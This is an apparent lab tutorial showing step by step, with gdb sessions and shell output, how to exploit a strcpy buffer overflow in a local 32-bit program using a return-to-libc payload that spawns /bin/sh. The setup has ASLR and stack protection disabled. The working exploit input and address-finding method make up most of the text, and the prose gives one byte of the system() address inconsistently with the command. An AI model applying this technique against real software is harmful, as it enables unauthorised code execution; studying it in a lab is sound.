Procedure and demo with explanation for exploiting a simple return to Clib attack

Environment: Linux 32 bit, ASLR turned off, stack protection disabled, DEP enabled.

We are going to exploit a program named "hack" which has buffer overflow vulnerability.

Step 1: Find if the program is vulnerable to buffer overflow.

- give longer string as input and see if it crashes.

```
 [06/05/2017 16:14] seed@ubuntu:~/Desktop/rop$ ./hack AAAAAAAAAAA
AAAAAAAAAAA
[06/05/2017 16:22] seed@ubuntu:~/Desktop/rop$
```

Okay! Works fine. Try with longer string

```
[06/05/2017 16:22] seed@ubuntu:~/Desktop/rop$ ./hack $(python -c "print('A'*50)")
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)
[06/05/2017 16:23] seed@ubuntu:~/Desktop/rop$
```

Here it crashes! Now we need to find the exact number of bytes required to reach the return address for that we debug the executable.

```
[06/05/2017 16:32] seed@ubuntu:~/Desktop/rop$ gdb ./hack
GNU gdb (Ubuntu/Linaro 7.4-2012.04-0ubuntu2.1) 7.4-2012.04
Copyright (C) 2012 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-linux-gnu".
For bug reporting instructions, please see:
<http://bugs.launchpad.net/gdb-linaro/>...
Reading symbols from /home/seed/Desktop/rop/hack...(no debugging symbols found)...done.
(gdb) disas main //disassemble main
Dump of assembler code for function main:
   0x08048414 <+0>:     push   %ebp
   0x08048415 <+1>:     mov    %esp,%ebp
   0x08048417 <+3>:     and    $0xfffffff0,%esp
   0x0804841a <+6>:     sub    $0x30,%esp
   0x0804841d <+9>:     mov    0xc(%ebp),%eax
   0x08048420 <+12>:    add    $0x4,%eax
   0x08048423 <+15>:    mov    (%eax),%eax
```

```
   0x08048425 <+17>:    mov    %eax,0x4(%esp)
   0x08048429 <+21>:    lea    0x12(%esp),%eax
   0x0804842d <+25>:    mov    %eax,(%esp)
   0x08048430 <+28>:    call   0x8048330 <strcpy@plt>  < ---- vulnerable function
   0x08048435 <+33>:    mov    $0x8048530,%eax  < ---- need to put breakpoint here
   0x0804843a <+38>:    lea    0x12(%esp),%edx
   0x0804843e <+42>:    mov    %edx,0x4(%esp)
   0x08048442 <+46>:    mov    %eax,(%esp)
   0x08048445 <+49>:    call   0x8048320 <printf@plt>
   0x0804844a <+54>:    mov    $0x0,%eax
   0x0804844f <+59>:    leave
   0x08048450 <+60>:    ret
End of assembler dump.
(gdb) b *0x08048435  //set breakpoint
Breakpoint 1 at 0x8048435
```

After trying multiple strings we found that the program crashes when we input a string of 42 length.

```
(gdb) r $(python -c "print('A'*42)")
Starting program: /home/seed/Desktop/rop/hack $(python -c "print('A'*42)")

Breakpoint 1, 0x08048435 in main ()
(gdb) n
Single stepping until exit from function main,
which has no line number information.

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
0xb7e39400 in __libc_start_main () from /lib/i386-linux-gnu/libc.so.6
(gdb) n
Single stepping until exit from function __libc_start_main,
which has no line number information.

Program received signal SIGILL, Illegal instruction.
0xb7e39400 in __libc_start_main () from /lib/i386-linux-gnu/libc.so.6
(gdb) info r
eax            0x0    0
ecx            0x0    0
edx            0x0    0
ebx            0xb7fc4ff4     -1208201228
esp            0xbffff330     0xbffff330
ebp            0x41414141     0x41414141    < ------- frame pointer has x41 i.e A
esi            0x0    0
edi            0x0    0
eip            0xb7e39400     0xb7e39400 <__libc_start_main+32>
```

```
eflags         0x210286      [ PF SF IF RF ID ]
cs             0x73    115
ss             0x7b    123
ds             0x7b    123
es             0x7b    123
fs             0x0     0
gs             0x33    51
(gdb)
```

Now add ‘BBBB’ to the input string and it should fill the return address

```
(gdb) r $(python -c "print('A'*42+'BBBB')")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/seed/Desktop/rop/hack $(python -c "print('A'*42+'BBBB')")

Breakpoint 1, 0x08048435 in main ()
(gdb) n
Single stepping until exit from function main,
which has no line number information.

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
0x42424242 in ?? ()
(gdb)
```

Yes! Now we need to replace the ‘BBBB’ with the address of the “system()” in libc, next 4 bytes should be the address of exit() in libc and next 4 bytes should e the address of “/bin/sh” in libc

```
(gdb) r $(python -c "print('A'*42+'BBBB')")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/seed/Desktop/rop/hack $(python -c "print('A'*42+'BBBB')")

Breakpoint 1, 0x08048435 in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0xb7e5f430 <system>
(gdb) p exit
$2 = {<text variable, no debug info>} 0xb7e52fb0 <exit>
(gdb) find system, +9999999, "/bin/sh"
0xb7f80fb8
warning: Unable to access target memory at 0xb7fc74c0, halting search.
1 pattern found.
(gdb)
```

Now as we have all the required addresses. To invoke shell, our iput string should be the following:

Input String: 42 bytes random + address of system + address of exit + address of “bin/sh”
i.e

42 NOP + ‘\x30\x4\xe5\xb7’ + ‘\xb0\x2f\xe5\xb7’ + ‘\xb8\x0f\xf8\xb7’

```
[06/05/2017 17:04] seed@ubuntu:~/Desktop/rop$ ./hack $(python -c
"print('\x90'*42+'\x30\xf4\xe5\xb7'+'\xb0\x2f\xe5\xb7'+'\xb8\x0f\xf8\xb7')")

<illegible>0<illegible>
甗/匙
$
$ whoami
seed
$
$
```